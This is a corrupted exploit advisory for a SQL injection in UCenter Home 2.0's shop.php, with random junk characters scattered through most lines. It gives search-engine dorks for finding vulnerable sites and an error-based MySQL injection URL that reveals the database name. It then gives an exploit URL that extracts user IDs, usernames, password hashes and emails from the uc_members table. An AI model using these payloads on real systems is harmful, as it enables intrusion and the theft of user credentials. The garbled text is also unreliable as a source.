7 O! Z! s1 ?/ [# O4 M* L9 g1 J__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
3 B2 ^5 q% P+ N* ]. ~, ?3 R- v1 V! Q$ ~" D! X# `. q3 V# X: s
9 S: P: c" |# U: A) A0 p w$ m' f4 e, Q j' i9 K# e8 i9 {# S
*/ Author : KnocKout
& D3 n" E3 s* u
/ Z0 ?# k( B" C*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
' ^6 y4 {" d) ^; w6 @& f4 M1 k' }! B& U0 I8 G, E6 ]
*/ Contact: knockoutr@msn.com
4 A+ k- R2 u) E8 ~; a, B; A! w4 J2 H0 e
*/ Cyber-Warrior.org/CWKnocKout + B1 f. |9 s# L+ P. D
7 P& M5 O6 ~/ U6 Y5 `+ {__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
/ C. p& I3 }, ^. K" s+ X4 ^) [- C+ L, V9 _; Y
Script : UCenter Home
" L& {* \. K' H2 |1 \4 y
+ n5 D7 a) _1 E# i* fVersion : 2.0
: T9 n1 ^' u5 g$ u7 N; [" @4 B; ^' R" t: g8 Q5 ]! Z) v
Script HomePage : http://u.discuz.net/
7 }6 R. m, k: V, {1 Q0 E" y. s5 V2 O" q& \
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
- G/ w+ I, ?( i3 z7 f9 P: j
5 Q1 d3 l, H9 A; U6 [Dork : Powered by UCenter inurl:shop.php?ac=view
+ j% {) _/ R3 N8 I/ S2 V' ]9 C& [/ ^) e, r
Dork 2 : inurl:shop.php?ac=view&shopid= D" e1 Z# H: g
/ }) H$ v' X5 B8 M! E( G__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
( `: Y. K3 I" Q! r! Q0 R' \1 _ K& H) L4 x
Vuln file : Shop.php 1 [ ^2 H) i$ T+ ?2 U# _% s
0 p8 w+ x# [0 Q# e) I
value's : (?)ac=view&shopid= D* `( M6 V) n E
u, u; a8 ]- \. N; a" i
Vulnerable Style : SQL Injection (MySQL Error Based) 5 g' ?3 V; I: v; I9 p. R
4 r+ ]3 m' ?0 n. `" R& s
Need Metarials : Hex Conversion
3 M& O8 X6 X- o/ @& w9 I% f9 c% F5 [4 X! z
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
6 B4 O' Q# w' g$ r+ h- R. B! w4 y; b. b6 ]
Your Need victim Database name.
* e) E/ ] D8 t9 {3 X2 z% x: ~; l3 V' B9 G3 t
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 2 y' a0 v" J* b# J8 G! D/ B$ O; u7 `
4 c( g( Q/ P2 h2 r
.. & k7 |, k% {$ ~. y
% N) } K" ^5 l8 m, v
DB : Okey.
- M# S& N1 }/ S' c, c
+ h7 x' n# i2 P4 f! y9 H' qyour edit DB `[TARGET DB NAME]`
' T" L* e6 Z) x* b, O% z7 F! F5 [& K" s: G
Example : 'hiwir1_ucenter' : h7 I! K+ z W' ~& @
1 c l% g8 V+ U0 }* E" F$ t) A
Edit : Okey. ! v; `2 f: x1 Y1 N2 N, h
) N$ T3 @% V: E' a! G$ k3 a
Your use Hex conversion. And edit Your SQL Injection Exploit..
' M* k- R" b( G7 n9 L
5 S0 Z$ ]& |* z6 \ . Z. @: a) ]' B' l
' [$ l( ~1 w9 }' H
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 % r0 `7 | d3 j# |. o" |
|